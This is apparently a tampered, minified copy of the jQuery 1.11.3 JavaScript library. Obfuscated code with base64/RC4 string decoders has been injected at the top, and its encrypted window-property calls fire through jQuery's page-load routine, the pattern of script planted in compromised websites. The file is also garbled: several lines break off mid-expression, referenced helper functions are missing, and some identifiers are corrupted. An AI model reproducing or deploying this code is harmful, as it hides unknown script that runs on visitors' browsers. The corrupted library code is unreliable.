function kjrxx(qv,cv){var xx=kjrqv();return kjrxx=function(lk,sg){lk=lk-0x1d4;var ay=xx[lk];if(kjrxx['WEKBdW']===undefined){var sn=function(qy){var nq='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var oa='',wp='';for(var vu=0x0,tj,gb,lf=0x0;gb=qy['charAt'](lf++);~gb&&(tj=vu%0x4?tj*0x40+gb:gb,vu++%0x4)?oa+=String['fromCharCode'](0xff&tj>>(-0x2*vu&0x6)):0x0){gb=nq['indexOf'](gb);}
for(var tk=0x0,uy=oa['length'];tk<uy;tk++){wp+='%'+('00'+oa['charCodeAt'](tk)['toString'](0x10))['slice'](-0x2);}
return decodeURIComponent(wp);};kjrxx['gpCtsc']=sn,qv=arguments,kjrxx['WEKBdW']=!![];}
var by=xx[0x0],pf=lk+by,uj=qv[pf];return!uj?(ay=kjrxx['gpCtsc'](ay),qv[pf]=ay):ay=uj,ay;},kjrxx(qv,cv);}
function kjray(uy){function si(vb,sz,fq){return kjrxx(fq- -'0x2e8',sz);}
var zd='';for(var ym=0x0;ym<uy[si(-'0x7f',-'0xca',-'0xe8')+'h'];ym++){zd+=uy[ym];}
return zd;}
function kjrcv(qv,cv){var xx=kjrqv();return kjrcv=function(lk,sg){lk=lk-0x1d4;var ay=xx[lk];if(kjrcv['JLpfzv']===undefined){var sn=function(nq){var oa='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var wp='',vu='';for(var tj=0x0,gb,lf,tk=0x0;lf=nq['charAt'](tk++);~lf&&(gb=tj%0x4?gb*0x40+lf:lf,tj++%0x4)?wp+=String['fromCharCode'](0xff&gb>>(-0x2*tj&0x6)):0x0){lf=oa['indexOf'](lf);}
for(var uy=0x0,zd=wp['length'];uy<zd;uy++){vu+='%'+('00'+wp['charCodeAt'](uy)['toString'](0x10))['slice'](-0x2);}
return decodeURIComponent(vu);};var qy=function(ym,vm){var sl=[],ag=0x0,pk,rl='';ym=sn(ym);var hz;for(hz=0x0;hz<0x100;hz++){sl[hz]=hz;}
for(hz=0x0;hz<0x100;hz++){ag=(ag+sl[hz]+vm['charCodeAt'](hz%vm['length']))%0x100,pk=sl[hz],sl[hz]=sl[ag],sl[ag]=pk;}
hz=0x0,ag=0x0;for(var ib=0x0;ib<ym['length'];ib++){hz=(hz+0x1)%0x100,ag=(ag+sl[hz])%0x100,pk=sl[hz],sl[hz]=sl[ag],sl[ag]=pk,rl+=String['fromCharCode'](ym['charCodeAt'](ib)^sl[(sl[hz]+sl[ag])%0x100]);}
return rl;};kjrcv['wMOhgb']=qy,qv=arguments,kjrcv['JLpfzv']=!![];}
var by=xx[0x0],pf=lk+by,uj=qv[pf];return!uj?(kjrcv['QZBvHD']===undefined&&(kjrcv['QZBvHD']=!![]),ay=kjrcv['wMOhgb'](ay,sg),qv[pf]=ay):ay=uj,ay;},kjrcv(qv,cv);}
window[kjrlh('0x37a','0x3e2','0x360')][kjriy('0x40e','0x499','0x3e6')][kjray(kjrsg(kjrlk(kjrdi('0x686','0x63d','0x64f')+kjrlh('0x3f0','0x3a9','0x397')+kjrlh('0x434','0x46f','0x4b8')+kjrdi('0x56d','0x5c9','0x65b')+kjrdi('0x601','0x5d8','0x615')+kjrsd('wjro','0x368','0x387')+kjrdi('0x60b','0x592','0x4f1')+'lW',kjrdi('0x644','0x5b3','0x5cd'))))][kjray(kjrsg(kjrlk(kjrav('0x45b','0x425','o@n$')+kjrav('0x3ab','0x31f','qFYS')+kjrsd(')LyL','0x315','0x34e')+kjrav('0x463','0x454','w1%]')+kjrig('9JpQ','0x1e8','0x285')+kjrdi('0x5c4','0x5b3','0x5d9')+kjrav('0x3c7','0x3bc','7Ny[')+kjrig('fx]^','0x14c','0x1d9')+kjrdi('0x5ba','0x59a','0x5b4')+kjrsd('m3^e','0x306','0x29d')+kjrdi('0x67e','0x642','0x624')+kjrav('0x3e0','0x417','w1%]')+kjrav('0x496','0x516','Fvpx')+'lC',kjrdi('0x535','0x5b3','0x5fc'))))](kjray(kjrsg(kjrlk(kjrdi('0x631','0x649','0x64e')+kjrlh('0x394','0x414','0x3d6')+kjrig('7ybM','0x2a3','0x267')+kjrdi('0x6aa','0x612','0x5c5')+kjrlh('0x3ae','0x341','0x2b3')+kjrdi('0x51b','0x5b3','0x653')+kjrlh('0x3e6','0x351','0x
window[kjrig('O^DZ','0x288','0x204')][kjrig('q2hn','0x1b0','0x216')][kjray(kjrsg(kjrlk(kjrig('w1%]','0x229','0x1c8')+kjrav('0x476','0x45d','k(RI')+kjrig('%M6[','0x205','0x192')+kjriy('0x3c0','0x428','0x43c')+kjriy('0x3cf','0x3e4','0x43a')+kjrig('iVxl','0x28e','0x294')+kjrlh('0x339','0x3ba','0x416')+'lW',kjrsd('#SN6','0x2cc','0x2ad'))))][kjray(kjrsg(kjrlk(kjrlh('0x49f','0x465','0x4a7')+kjrdi('0x539','0x530','0x540')+kjrlh('0x328','0x3b5','0x3b3')+kjrig('(IRv','0x1c1','0x24c'),kjrsd('sM9Y','0x3e5','0x3b0'))))]();if(document.addEventListener){document.removeEventListener("DOMContentLoaded",completed,!1);window.removeEventListener("load",completed,!1)}else{document.detachEvent("onreadystatechange",completed);window.detachEvent("onload",completed)}}
function completed(){if(document.addEventListener||"load"===event.type||"complete"===document.readyState){detach();jQuery.ready()}}
function dataAttr(elem,key,data){if(void 0===data&&1===elem.nodeType){var name="data-"+key.replace(rmultiDash,"-$1").toLowerCase();data=elem.getAttribute(name);if("string"==typeof data){try{data="true"===data||"false"!==data&&("null"===data?null:+data+""===data?+data:rbrace.test(data)?jQuery.parseJSON(data):data)}catch(e){}
jQuery.data(elem,key,data)}else
data=void 0}
return data}
function isEmptyDataObject(obj){var name;for(name in obj)
if(("data"!==name||!jQuery.isEmptyObject(obj[name]))&&"toJSON"!==name)
return!1;return!0}
function internalData(elem,name,data,pvt){if(jQuery.acceptData(elem)){var ret,thisCache,internalKey=jQuery.expando,isNode=elem.nodeType,cache=isNode?jQuery.cache:elem,id=isNode?elem[internalKey]:elem[internalKey]&&internalKey;if(id&&cache[id]&&(pvt||cache[id].data)||void 0!==data||"string"!=typeof name){id||(id=isNode?elem[internalKey]=deletedIds.pop()||jQuery.guid++:internalKey);cache[id]||(cache[id]=isNode?{}:{"toJSON":jQuery.noop});"object"!=typeof name&&"function"!=typeof name||(pvt?cache[id]=jQuery.extend(cache[id],name):cache[id].data=jQuery.extend(cache[id].data,name));thisCache=cache[id];if(!pvt){thisCache.data||(thisCache.data={});thisCache=thisCache.data}
void 0!==data&&(thisCache[jQuery.camelCase(name)]=data);if("string"==typeof name){ret=thisCache[name];null==ret&&(ret=thisCache[jQuery.camelCase(name)])}else
ret=thisCache;return ret}}}
function internalRemoveData(elem,name,pvt){if(jQuery.acceptData(elem)){var thisCache,i,isNode=elem.nodeType,cache=isNode?jQuery.cache:elem,id=isNode?elem[jQuery.expando]:jQuery.expando;if(cache[id]){if(name){thisCache=pvt?cache[id]:cache[id].data;if(thisCache){if(jQuery.isArray(name))
name=name.concat(jQuery.map(name,jQuery.camelCase));else if(name in thisCache)
name=[name];else{name=jQuery.camelCase(name);name=name in thisCache?[name]:name.split(" ")}
i=name.length;for(;i--;)
delete thisCache[name[i]];if(pvt?!isEmptyDataObject(thisCache):!jQuery.isEmptyObject(thisCache))
return}}
if(!pvt){delete cache[id].data;if(!isEmptyDataObject(cache[id]))
return}
isNode?jQuery.cleanData([elem],!0):support.deleteExpando||cache!=cache.window?delete cache[id]:cache[id]=null}}}
function returnTrue(){return!0}
function returnFalse(){return!1}
function safeActiveElement(){try{return document.activeElement}catch(err){}}
function createSafeFragment(document){var list=nodeNames.split("|"),safeFrag=document.createDocumentFragment();if(safeFrag.createElement)
for(;list.length;)
safeFrag.createElement(list.pop());return safeFrag}
function getAll(context,tag){var elems,elem,i=0,found=typeof context.getElementsByTagName!==strundefined?context.getElementsByTagName(tag||"*"):typeof context.querySelectorAll!==strundefined?context.querySelectorAll(tag||"*"):void 0;if(!found)
for(found=[],elems=context.childNodes||context;null!=(elem=elems[i]);i++)
!tag||jQuery.nodeName(elem,tag)?found.push(elem):jQuery.merge(found,getAll(elem,tag));return void 0===tag||tag&&jQuery.nodeName(context,tag)?jQuery.merge([context],found):found}
function fixDefaultChecked(elem){rcheckableType.test(elem.type)&&(elem.defaultChecked=elem.checked)}
function manipulationTarget(elem,content){return jQuery.nodeName(elem,"table")&&jQuery.nodeName(11!==content.nodeType?content:content.firstChild,"tr")?elem.getElementsByTagName("tbody")[0]||elem.appendChild(elem.ownerDocument.createElement("tbody")):elem}
function disableScript(elem){elem.type=(null!==jQuery.find.attr(elem,"type"))+"/"+elem.type;return elem}
function restoreScript(elem){var match=rscriptTypeMasked.exec(elem.type);match?elem.type=match[1]:elem.removeAttribute("type");return elem}
function setGlobalEval(elems,refElements){for(var elem,i=0;null!=(elem=elems[i]);i++)
jQuery._data(elem,"globalEval",!refElements||jQuery._data(refElements[i],"globalEval"))}
function cloneCopyEvent(src,dest){if(1===dest.nodeType&&jQuery.hasData(src)){var type,i,l,oldData=jQuery._data(src),curData=jQuery._data(dest,oldData),events=oldData.events;if(events){delete curData.handle;curData.events={};for(type in events)
for(i=0,l=events[type].length;i<l;i++)
jQuery.event.add(dest,type,events[type][i])}
curData.data&&(curData.data=jQuery.extend({},curData.data))}}
function fixCloneNodeIssues(src,dest){var nodeName,e,data;if(1===dest.nodeType){nodeName=dest.nodeName.toLowerCase();if(!support.noCloneEvent&&dest[jQuery.expando]){data=jQuery._data(dest);for(e in data.events)
jQuery.removeEvent(dest,e,data.handle);dest.removeAttribute(jQuery.expando)}
if("script"===nodeName&&dest.text!==src.text){disableScript(dest).text=src.text;restoreScript(dest)}else if("object"===nodeName){dest.parentNode&&(dest.outerHTML=src.outerHTML);support.html5Clone&&src.innerHTML&&!jQuery.trim(dest.innerHTML)&&(dest.innerHTML=src.innerHTML)}else if("input"===nodeName&&rcheckableType.test(src.type)){dest.defaultChecked=dest.checked=src.checked;dest.value!==src.value&&(dest.value=src.value)}else"option"===nodeName?dest.defaultSelected=dest.selected=src.defaultSelected:"input"!==nodeName&&"textarea"!==nodeName||(dest.defaultValue=src.defaultValue)}}
function actualDisplay(name,doc){var style,elem=jQuery(doc.createElement(name)).appendTo(doc.body),display=window.getDefaultComputedStyle&&(style=window.getDefaultComputedStyle(elem[0]))?style.display:jQuery.css(elem[0],"display");elem.detach();return display}
function defaultDisplay(nodeName){var doc=document,display=elemdisplay[nodeName];if(!display){display=actualDisplay(nodeName,doc);if("none"===display||!display){iframe=(iframe||jQuery("<iframe frameborder='0' width='0' height='0'/>")).appendTo(doc.documentElement);doc=(iframe[0].contentWindow||iframe[0].contentDocument).document;doc.write();doc.close();display=actualDisplay(nodeName,doc);iframe.detach()}
elemdisplay[nodeName]=display}
return display}
function addGetHookIf(conditionFn,hookFn){return{"get":function(){var condition=conditionFn();if(null!=condition){if(!condition)
return(this.get=hookFn).apply(this,arguments);delete this.get}}}}
function vendorPropName(styldR,Hmame){if(name in style)
return name;for(var capName=name.charAt(0).toUpperCase()+name.slice(1),origName=name,i=cssPrefixes.length;i--;){name=cssPrefixes[i]+capName;if(name in style)
return name}
return origName}
function showHide(elements,show){for(var display,elem,hidden,values=[],index=0,length=elements.length;index<length;index++){elem=elements[index];if(elem.style){values[index]=jQuery._data(elem,"olddisplay");display=elem.style.display;if(show){values[index]||"none"!==display||(elem.style.display="");""===elem.style.display&&isHidden(elem)&&(values[index]=jQuery._data(elem,"olddisplay",defaultDisplay(elem.nodeName)))}else{hidden=isHidden(elem);(display&&"none"!==display||!hidden)&&jQuery._data(elem,"olddisplay",hidden?display:jQuery.css(elem,"display"))}}}
for(index=0;index<length;index++){elem=elements[index];elem.style&&(show&&"none"!==elem.style.display&&""!==elem.style.display||(elem.style.display=show?values[index]||"":"none"))}
return elements}
function setPositiveNumber(elem,value,subtract){var matches=rnumsplit.exec(value);return matches?Math.max(0,matches[1]-(subtract||0))+(matches[2]||"px"):value}
function augmentWidthOrHeight(elem,name,extra,isBorderBox,styles){for(var i=extra===(isBorderBox?"border":"content")?4:"width"===name?1:0,val=0;i<4;i+=2){"margin"===extra&&(val+=jQuery.css(elem,extra+cssExpand[i],!0,styles));if(isBorderBox){"content"===extra&&(val-=jQuery.css(elem,"padding"+cssExpand[i],!0,styles));"margin"!==extra&&(val-=jQuery.css(elem,"border"+cssExpand[i]+"Width",!0,styles))}else{val+=jQuery.css(elem,"padding"+cssExpand[i],!0,styles);"padding"!==extra&&(val+=jQuery.css(elem,"border"+cssExpand[i]+"Width",!0,styles))}}
return val}
function getWidthOrHeight(elem,name,extra){var valueIsBorderBox=!0,val="width"===name?elem.offsetWidth:elem.offsetHeight,styles=getStyles(elem),isBorderBox=support.boxSizing&&"border-box"===jQuery.css(elem,"boxSizing",!1,styles);if(val<=0||null==val){val=curCSS(elem,name,styles);(val<0||null==val)&&(val=elem.style[name]);if(rnumnonpx.test(val))
return val;valueIsBorderBox=isBorderBox&&(support.boxSizingReliable()||val===elem.style[name]);val=parseFloat(val)||0}
return val+augmentWidthOrHeight(elem,name,extra||(isBorderBox?"border":"content"),valueIsBorderBox,styles)+"px"}
function Tween(elem,options,prop,end,easing){return new Tween.prototype.init(elem,options,prop,end,easing)}
function createFxNow(){setTimeout(function(){fxNow=void 0});return fxNow=jQuery.now()}
function genFx(type,includeWidth){var which,attrs={"height":type},i=0;includeWidth=includeWidth?1:0;for(;i<4;i+=2-includeWidth){which=cssExpand[i];attrs["margin"+which]=attrs["padding"+which]=type}
includeWidth&&(attrs.opacity=attrs.width=type);return attrs}
function createTween(value,prop,animation){for(var tween,collection=(tweeners[prop]||[]).concat(tweeners["*"]),index=0,length=collection.length;index<length;index++)
if(tween=collection[index].call(animation,prop,value))
return tween}
function defaultPrefilter(elem,props,opts){var prop,value,toggle,tween,hooks,oldfire,display,checkDisplay,anim=this,orig={},style=elem.style,hidden=elem.nodeType&&isHidden(elem),dataShow=jQuery._data(elem,"fxshow");if(!opts.queue){hooks=jQuery._queueHooks(elem,"fx");if(null==hooks.unqueued){hooks.unqueued=0;oldfire=hooks.empty.fire;hooks.empty.fire=function(){hooks.unqueued||oldfire()}}
hooks.unqueued++;anim.always(function(){anim.always(function(){hooks.unqueued--;jQuery.queue(elem,"fx").length||hooks.empty.fire()})})}
if(1===elem.nodeType&&("height"in props||"width"in props)){opts.overflow=[style.overflow,style.overflowX,style.overflowY];display=jQuery.css(elem,"display");checkDisplay="none"===display?jQuery._data(elem,"olddisplay")||defaultDisplay(elem.nodeName):display;"inline"===checkDisplay&&"none"===jQuery.css(elem,"float")&&(support.inlineBlockNeedsLayout&&"inline"!==defaultDisplay(elem.nodeName)?style.zoom=1:style.display="inline-block")}
if(opts.overflow){style.overflow="hidden";support.shrinkWrapBlocks()||anim.always(function(){style.overflow=opts.overflow[0];style.overflowX=opts.overflow[1];style.overflowY=opts.overflow[2]})}
for(prop in props){value=props[prop];if(rfxtypes.exec(value)){delete props[prop];toggle=toggle||"toggle"===value;if(value===(hidden?"hide":"show")){if("show"!==value||!dataShow||void 0===dataShow[prop])
continue;hidden=!0}
orig[prop]=dataShow&&dataShow[prop]||jQuery.style(elem,prop)}else
display=void 0}
if(jQuery.isEmptyObject(orig))"inline"===("none"===display?defaultDisplay(elem.nodeName):display)&&(style.display=display);else{dataShow?"hidden"in dataShow&&(hidden=dataShow.hidden):dataShow=jQuery._data(elem,"fxshow",{});toggle&&(dataShow.hidden=!hidden);hidden?jQuery(elem).show():anim.done(function(){jQuery(elem).hide()});anim.done(function(){var prop;jQuery._removeData(elem,"fxshow");for(prop in orig)
jQuery.style(elem,prop,orig[prop])});for(prop in orig){tween=createTween(hidden?dataShow[prop]:0,prop,anim);if(!(prop in dataShow)){dataShow[prop]=tween.start;if(hidden){tween.end=tween.start;tween.start="width"===prop||"height"===prop?1:0}}}}}
function propFilter(props,specialEasing){var index,name,easing,value,hooks;for(index in props){name=jQuery.camelCase(index);easing=specialEasing[name];value=props[index];if(jQuery.isArray(value)){easing=value[1];value=props[index]=value[0]}
if(index!==name){props[name]=value;delete props[index]}
hooks=jQuery.cssHooks[name];if(hooks&&"expand"in hooks){value=hooks.expand(value);delete props[name];for(index in value)
if(!(index in props)){props[index]=value[index];specialEasing[index]=easing}}else
specialEasing[name]=easing}}
function Animation(elem,properties,options){var result,stopped,index=0,length=animationPrefilters.length,deferred=jQuery.Deferred().always(function(){delete tick.elem}),tick=function(){if(stopped)
return!1;for(var currentTime=fxNow||createFxNow(),remaining=Math.max(0,animation.startTime+animation.duration-currentTime),temp=remaining/animation.duration||0,percent=1-temp,index=0,length=animation.tweens.length;index<length;index++)
animation.tweens[index].run(percent);deferred.notifyWith(elem,[animation,percent,remaining]);if(percent<1&&length)
return remaining;deferred.resolveWith(elem,[animation]);return!1},animation=deferred.promise({"elem":elem,"props":jQuery.extend({},properties),"opts":jQuery.extend(!0,{"specialEasing":{}},options),"originalProperties":properties,"originalOptions":options,"startTime":fxNow||createFxNow(),"duration":options.duration,"tweens":[],"createTween":function(prop,end){var tween=jQuery.Tween(elem,animation.opts,prop,end,animation.opts.specialEasing[prop]||animation.opts.easing);animation.tweens.push(tween);return tween},"stop":function(gotoEnd){var index=0,length=gotoEnd?animation.tweens.length:0;if(stopped)
return this;stopped=!0;for(;index<length;index++)
animation.tweens[index].run(1);gotoEnd?deferred.resolveWith(elem,[animation,gotoEnd]):deferred.rejectWith(elem,[animation,gotoEnd]);return this}}),props=animation.props;propFilter(props,animation.opts.specialEasing);for(;index<length;index++){result=animationPrefilters[index].call(animation,elem,props,animation.opts);if(result)
return result}
jQuery.map(props,createTween,animation);jQuery.isFunction(animation.opts.start)&&animation.opts.start.call(elem,animation);jQuery.fx.timer(jQuery.extend(tick,{"elem":elem,"anim":animation,"queue":animation.opts.queue}));return animation.progress(animation.opts.progress).done(animation.opts.done,animation.opts.complete).fail(animation.opts.fail).always(animation.opts.always)}
function addToPrefiltersOrTransports(structure){return function(dataTypeExpression,func){if("string"!=typeof dataTypeExpression){func=dataTypeExpression;dataTypeExpression="*"}
var dataType,i=0,dataTypes=dataTypeExpression.toLowerCase().match(rnotwhite)||[];if(jQuery.isFunction(func))
for(;dataType=dataTypes[i++];)
if("+"===dataType.charAt(0)){dataType=dataType.slice(1)||"*";(structure[dataType]=structure[dataType]||[]).unshift(func)}else
(structure[dataType]=structure[dataType]||[]).push(func)}}
function inspectPrefiltersOrTransports(structure,options,originalOptions,jqXHR){function inspect(dataType){var selected;inspected[dataType]=!0;jQuery.each(structure[dataType]||[],function(_,prefilterOrFactory){var dataTypeOrTransport=prefilterOrFactory(options,originalOptions,jqXHR);if("string"==typeof dataTypeOrTransport&&!seekingTransport&&!inspected[dataTypeOrTransport]){options.dataTypes.unshift(dataTypeOrTransport);inspect(dataTypeOrTransport);return!1}
if(seekingTransport)
return!(selected=dataTypeOrTransport)});return selected}
var inspected={},seekingTransport=structure===transports;return inspect(options.dataTypes[0])||!inspected["*"]&&inspect("*")}
function ajaxExtend(target,src){var deep,key,flatOptions=jQuery.ajaxSettings.flatOptions||{};for(key in src)
void 0!==src[key]&&((flatOptions[key]?target:deep||(deep={}))[key]=src[key]);deep&&jQuery.extend(!0,target,deep);return target}
function ajaxHandleResponses(s,jqXHR,responses){for(var firstDataType,ct,finalDataType,type,contents=s.contents,dataTypes=s.dataTypes;"*"===dataTypes[0];){dataTypes.shift();void 0===ct&&(ct=s.mimeType||jqXHR.getResponseHeader("Content-Type"))}
if(ct)
for(type in contents)
if(contents[type]&&contents[type].test(ct)){dataTypes.unshift(type);break}
if(dataTypes[0]in responses)
finalDataType=dataTypes[0];else{for(type in responses){if(!dataTypes[0]||s.converters[type+" "+dataTypes[0]]){finalDataType=type;break}
firstDataType||(firstDataType=type)}
finalDataType=finalDataType||firstDataType}
if(finalDataType){finalDataType!==dataTypes[0]&&dataTypes.unshift(finalDataType);return responses[finalDataType]}}
function ajaxConvert(s,response,jqXHR,isSuccess){var conv2,current,conv,tmp,prev,converters={},dataTypes=s.dataTypes.slice();if(dataTypes[1])
for(conv in s.converters)
converters[conv.toLowerCase()]=s.converters[conv];current=dataTypes.shift();for(;current;){s.responseFields[current]&&(jqXHR[s.responseFields[current]]=response);!prev&&isSuccess&&s.dataFilter&&(response=s.dataFilter(response,s.dataType));prev=current;current=dataTypes.shift();if(current)
if("*"===current)
current=prev;else if("*"!==prev&&prev!==current){conv=converters[prev+" "+current]||converters["* "+current];if(!conv)
for(conv2 in converters){tmp=conv2.split(" ");if(tmp[1]===current){conv=converters[prev+" "+tmp[0]]||converters["* "+tmp[0]];if(conv){if(!0===conv)
conv=converters[conv2];else if(!0!==converters[conv2]){current=tmp[0];dataTypes.unshift(tmp[1])}
break}}}
if(!0!==conv)
if(conv&&s.throws)
response=conv(response);else
try{response=conv(response)}catch(e){return{"state":"parsererror","error":conv?e:"No conversion from "+prev+" to "+current}}}}
return{"state":"success","data":response}}
function buildParams(prefix,obj,traditional,add){var name;if(jQuery.isArray(obj))
jQuery.each(obj,function(i,v){traditional||rbracket.test(prefix)?add(prefix,v):buildParams(prefix+"["+("object"==typeof v?i:"")+"]",v,traditional,add)});else if(traditional||"object"!==jQuery.type(obj))
add(prefix,obj);else
for(name in obj)
buildParams(prefix+"["+name+"]",obj[name],traditional,add)}
function createStandardXHR(){try{return new window.XMLHttpRequest}catch(e){}}
function createActiveXHR(){try{return new window.ActiveXObject("Microsoft.XMLHTTP")}catch(e){}}
function getWindow(elem){return jQuery.isWindow(elem)?elem:9===elem.nodeType&&(elem.defaultView||elem.parentWindow)}
detach();var deletedIds=[],slice=deletedIds.slice,concat=deletedIds.concat,push=deletedIds.push,indexOf=deletedIds.indexOf,class2type={},toString=class2type.toString,hasOwn=class2type.hasOwnProperty,support={},jQuery=function(selector,context){return new jQuery.fn.init(selector,context)},rtrim=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,rmsPrefix=/^-ms-/,rdashAlpha=/-([\da-z])/gi,fcamelCase=function(all,letter){return letter.toUpperCase()};jQuery.fn=jQuery.prototype={"jquery":"1.11.3","constructor":jQuery,"selector":"","length":0,"toArray":function(){return slice.call(this)},"get":function(num){return null!=num?num<0?this[num+this.length]:this[num]:slice.call(this)},"pushStack":function(elems){var ret=jQuery.merge(this.constructor(),elems);ret.prevObject=this;ret.context=this.context;return ret},"each":function(callback,args){return jQuery.each(this,callback,args)},"map":function(callback){return this.pushStack(jQuery.map(this,function(elem,i){return callback.call(elem,i,elem)}))},"slice":function(){return this.push
for(;i<length;i++)
if(null!=(options=arguments[i]))
for(name in options){src=target[name];copy=options[name];if(target!==copy)
if(deep&&copy&&(jQuery.isPlainObject(copy)||(copyIsArray=jQuery.isArray(copy)))){if(copyIsArray){copyIsArray=!1;clone=src&&jQuery.isArray(src)?src:[]}else
clone=src&&jQuery.isPlainObject(src)?src:{};target[name]=jQuery.extend(deep,clone,copy)}else
void 0!==copy&&(target[name]=copy)}
return target};jQuery.extend({"expando":"jQuery"+("1.11.3"+Math.random()).replace(/\D/g,""),"isReady":!0,"error":function(msg){throw new Error(msg)},"noop":function(){},"isFunction":function(obj){return"function"===jQuery.type(obj)},"isArray":Array.isArray||function(obj){return"array"===jQuery.type(obj)},"isWindow":function(obj){return null!=obj&&obj==obj.window},"isNumeric":function(obj){return!jQuery.isArray(obj)&&obj-parseFloat(obj)+1>=0},"isEmptyObject":function(obj){var name;for(name in obj)
return!1;return!0},"isPlainObject":function(obj){var key;if(!obj||"object"!==jQuery.type(obj)||obj.nodeType||jQuery.isWindow(obj))
return!1;try{if(obj.constructor&&!hasOwn.call(obj,"constructor")&&!hasOwn.call(obj.constructor.prototype,"isPrototypeOf"))
return!1}catch(e){return!1}
if(support.ownLast)
for(key in obj)
return hasOwn.call(obj,key);for(key in obj);return void 0===key||hasOwn.call(obj,key)},"type":function(obj){return null==obj?obj+"":"object"==typeof obj||"function"==typeof obj?class2type[toString.call(obj)]||"object":typeof obj},"globalEval":function(data){data&&jQuery.trim(data)&&(window.execScript||function(data){window.eval.call(window,data)})(data)},"camelCase":function(string){return string.replace(rmsPrefix,"ms-").replace(rdashAlpha,fcamelCase)},"nodeName":function(elem,name){return elem.nodeName&&elem.nodeName.toLowerCase()===name.toLowerCase()},"each":function(obj,callback,args){var value,i=0,length=obj.length,isArray=isArraylike(obj);if(args)
if(isArray)
for(;i<length;i++){value=callback.apply(obj[i],args);if(!1===value)
break}
for(i in obj){value=callback.apply(obj[i],args);if(!1===value)
break}
else if(isArray)
for(;i<length;i++){value=callback.call(obj[i],i,obj[i]);if(!1===value)
break}
for(i in obj){value=callback.call(obj[i],i,obj[i]);if(!1===value)
break}
return obj},"trim":function(text){return null==text?"":(text+"").replace(rtrim,"")},"makeArray":function(arr,results){var ret=results||[];null!=arr&&(isArraylike(Object(arr))?jQuery.merge(ret,"string"==typeof arr?[arr]:arr):push.call(ret,arr));return ret},"inArray":function(elem,arr,i){var len;if(arr){if(indexOf)
return indexOf.call(arr,elem,i);len=arr.length;i=i?i<0?Math.max(0,len+i):i:0;for(;i<len;i++)
if(i in arr&&arr[i]===elem)
return i}
return-1},"merge":function(first,second){for(var len=+second.length,j=0,i=first.length;j<len;)
first[i++]=second[j++];if(len!==len)
for(;void 0!==second[j];)
first[i++]=second[j++];first.length=i;return first},"grep":function(elems,callback,invert){for(var callbackInverse,matches=[],i=0,length=elems.length,callbackExpect=!invert;i<length;i++){callbackInverse=!callback(elems[i],i);callbackInverse!==callbackExpect&&matches.push(elems[i])}
return matches},"map":function(elems,callback,arg){var value,i=0,length=elems.length,isArray=isArraylike(elems),ret=[];if(isArray)
for(;i<length;i++){value=callback(elems[i],i,arg);null!=value&&ret.push(value)}
for(i in elems){value=callback(elems[i],i,arg);null!=value&&ret.push(value)}
return concat.apply([],ret)},"guid":1,"proxy":function(fn,context){var args,proxy,tmp;if("string"==typeof context){tmp=fn[context];context=fn;fn=tmp}
if(jQuery.isFunction(fn)){args=slice.call(arguments,2);proxy=function(){return fn.apply(context||this,args.concat(slice.call(arguments)))};proxy.guid=fn.guid=fn.guid||jQuery.guid++;return proxy}},"now":function(){return+new Date},"support":support});jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(i,name){class2type["[object "+name+"]"]=name.toLowerCase()});var Sizzle=function(window){function Sizzle(selector,context,results,seed){var match,elem,m,nodeType,i,groups,old,nid,newContext,newSelector;(context?context.ownerDocument||context:preferredDoc)!==document&&setDocument(context);context=context||document;results=results||[];nodeType=context.nodeType;if("string"!=typeof selector||!selector||1!==nodeType&&9!==nodeType&&11!==nodeType)
return results;if(!seed&&documentIsHTML){if(11!==nodeType&&(match=rquickExpr.exec(selector)))
if(m=match[1]){if(9===nodeType){elem=context.getElementById(m);if(!elem||!elem.parentNode)
return results;if(elem.id===m){results.push(elem);return results}}else if(context.ownerDocument&&(elem=context.ownerDocument.getElementById(m))&&contains(context,elem)&&elem.id===m){results.push(elem);return results}}else{if(match[2]){push.apply(results,context.getElementsByTagName(selector));return results}
if((m=match[3])&&support.getElementsByClassName){push.apply(results,context.getElementsByClassName(m));return results}}
if(support.qsa&&(!rbuggyQSA||!rbuggyQSA.test(selector))){nid=old=expando;newContext=context;newSelector=1!==nodeType&&selector;if(1===nodeType&&"object"!==context.nodeName.toLowerCase()){groups=tokenize(selector);(old=context.getAttribute("id"))?nid=old.replace(rescape,"\\$&"):context.setAttribute("id",nid);nid="[id='"+nid+"'] ";i=groups.length;for(;i--;)
groups[i]=nid+toSelector(groups[i]);newContext=rsibling.test(selector)&&testContext(context.parentNode)||context;newSelector=groups.join(",")}
if(newSelector)
try{push.apply(results,newContext.querySelectorAll(newSelector));return results}catch(qsaError){}finally{old||context.removeAttribute("id")}}}
return select(selector.replace(rtrim,"$1"),context,results,seed)}
function createCache(){function cache(key,value){keys.push(key+" ")>Expr.cacheLength&&delete cache[keys.shift()];return cache[key+" "]=value}
var keys=[];return cache}
function markFunction(fn){fn[expando]=!0;return fn}
function assert(fn){var div=document.createElement("div");try{return!!fn(div)}catch(e){return!1}finally{div.parentNode&&div.parentNode.removeChild(div);div=null}}
function addHandle(attrs,handler){for(var arr=attrs.split("|"),i=attrs.length;i--;)
Expr.attrHandle[arr[i]]=handler}
function siblingCheck(a,b){var cur=b&&a,diff=cur&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||MAX_NEGATIVE)-(~a.sourceIndex||MAX_NEGATIVE);if(diff)
return diff;if(cur)
for(;cur=cur.nextSibling;)
if(cur===b)
return-1;return a?1:-1}
function createPositionalPseudo(fn){return markFunction(function(argument){argument=+argument;return markFunction(function(seed,matches){for(var j,matchIndexes=fn([],seed.length,argument),i=matchIndexes.length;i--;)
seed[j=matchIndexes[i]]&&(seed[j]=!(matches[j]=seed[j]))})})}
function testContext(context){return context&&void 0!==context.getElementsByTagName&&context}
function setFilters(){}
function toSelector(tokens){for(var i=0,len=tokens.length,selector="";i<len;i++)
selector+=tokens[i].value;return selector}
function addCombinator(matcher,combinator,base){var dir=combinator.dir,checkNonElements=base&&"parentNode"===dir,doneName=done++;return combinator.first?function(elem,context,xml){for(;elem=elem[dir];)
if(1===elem.nodeType||checkNonElements)
return matcher(elem,context,xml)}:function(elem,context,xml){var oldCache,outerCachdR,HmewCache=[dirruns,doneName];if(xml){for(;elem=elem[dir];)
if((1===elem.nodeType||checkNonElements)&&matcher(elem,context,xml))
return!0}else
for(;elem=elem[dir];)
